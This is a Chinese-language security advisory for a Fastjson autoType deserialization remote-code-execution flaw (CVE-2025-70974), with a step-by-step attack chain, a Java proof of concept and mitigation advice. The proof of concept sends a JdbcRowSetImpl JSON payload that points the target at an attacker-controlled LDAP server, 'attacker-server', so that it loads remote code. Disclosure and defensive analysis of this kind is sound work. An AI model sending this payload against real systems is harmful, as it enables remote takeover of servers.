IPBUF安全漏洞报告
English
CVE-2025-70974 CVSS 10.0 严重

Fastjson 1.2.48之前版本AutoType反序列化远程代码执行漏洞(CVE-2025-70974)

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-70974
漏洞类型
反序列化漏洞/远程代码执行/JNDI注入
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
alibaba/fastjson

相关标签

CVE-2025-70974Fastjson反序列化漏洞远程代码执行JNDI注入AutoType绕过CVE-2017-18349CVE-2022-25845In-the-wild利用Alibaba

漏洞概述

Fastjson是阿里巴巴开发的一款高性能的JSON解析库,广泛应用于Java Web开发中。该漏洞源于Fastjson在1.2.48之前的版本中对autoType功能的处理存在缺陷。当JSON文档中存在@type键且其值为Java类名时,Fastjson会尝试实例化该类并调用其某些公共方法。攻击者可以利用这一特性,通过构造特殊的JSON payload,在目标服务器上注入恶意的JNDI资源引用,触发远程代码执行。该漏洞本质上是CVE-2017-18349(CVE-2017-18349的修复不完整导致仍存在绕过)的不完全修复遗留问题,而后续又出现了CVE-2022-25845等绕过方式。从2023年到2025年,该漏洞已被APT组织(如AndroxGh0st)在野利用,用于攻击美国高校等目标,部署C2服务器和日志记录器。

技术细节

Fastjson的autoType功能允许在反序列化时指定JSON数据应被转换为特定的Java类型。攻击者通过在JSON文档中构造@type字段,指定一个恶意类名(如com.sun.rowset.JdbcRowSetImpl或com.ldap.jndi.JNDIReferenceFactory),并在该类中注入JNDI引用。当Fastjson处理此payload时,会实例化指定的类并调用其setter方法(如setDataSourceName和setAutoCommit),从而触发JNDI lookup操作。该操作会向攻击者控制的LDAP或RMI服务器请求恶意对象,导致远程代码执行。攻击者通常将恶意payload放置在JSON文档的其他位置(如val字段),以绕过部分安全检查。整个攻击过程无需认证且可通过网络远程执行,CVSS评分达到满分10.0。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用Fastjson库进行JSON反序列化,通常通过错误信息、指纹识别或源码分析获取
STEP 2
步骤2: 构造恶意JSON payload
攻击者构造包含@type字段的JSON文档,指定值为com.sun.rowset.JdbcRowSetImpl等可触发JNDI lookup的类,同时在dataSourceName字段中指定恶意LDAP/RMI服务器地址
STEP 3
步骤3: 发送恶意请求
将构造好的恶意JSON payload通过HTTP POST等方式发送到目标服务器的JSON解析接口
STEP 4
步骤4: Fastjson反序列化触发
Fastjson收到payload后,解析@type字段并尝试实例化指定的Java类,调用setDataSourceName和setAutoCommit等setter方法
STEP 5
步骤5: JNDI注入执行
JdbcRowSetImpl的setAutoCommit方法触发InitialContext.lookup()操作,向攻击者控制的LDAP服务器发起JNDI请求
STEP 6
步骤6: 远程代码执行
LDAP服务器返回指向恶意Java类的引用,Fastjson加载并执行该类,最终在目标服务器上实现远程代码执行
STEP 7
步骤7: 持久化控制
攻击者建立持久化后门,可能部署C2木马、键盘记录器等恶意软件,建立长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import java.io.BufferedReader; import java.io.InputStreamReader; public class fastjson_rce_poc { public static void main(String[] args) { try { // Target URL for LDAP/RMI server String target = "http://target-server:8080/api"; String jndiUrl = "ldap://attacker-server:1389/Exploit"; // Malicious JSON payload with @type for JNDI injection String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"" + jndiUrl + "\"," + "\"autoCommit\":true}"; System.out.println("[*] Sending malicious payload..."); System.out.println("[*] Payload: " + payload); // Send the malicious JSON to the target java.net.HttpURLConnection conn = (java.net.HttpURLConnection) new java.net.URL(target) .openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/json"); conn.setDoOutput(true); conn.getOutputStream().write(payload.getBytes()); BufferedReader reader = new BufferedReader( new InputStreamReader(conn.getInputStream())); String line; while ((line = reader.readLine()) != null) { System.out.println(line); } } catch (Exception e) { e.printStackTrace(); } } }

影响范围

alibaba/fastjson < 1.2.48
fastjson2 < 2.0.x (部分版本)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 在应用中全局禁用autoType功能,通过设置ParserConfig.getGlobalInstance().setAutoTypeSupport(false);2) 使用白名单机制限制允许反序列化的类;3) 在WAF上配置规则,拦截包含@type、@service等Fastjson特征字段的可疑请求;4) 限制服务器出站DNS和LDAP/RMI连接,防止JNDI注入回调;5) 启用应用层输入验证,过滤或拒绝包含特殊字符的JSON数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表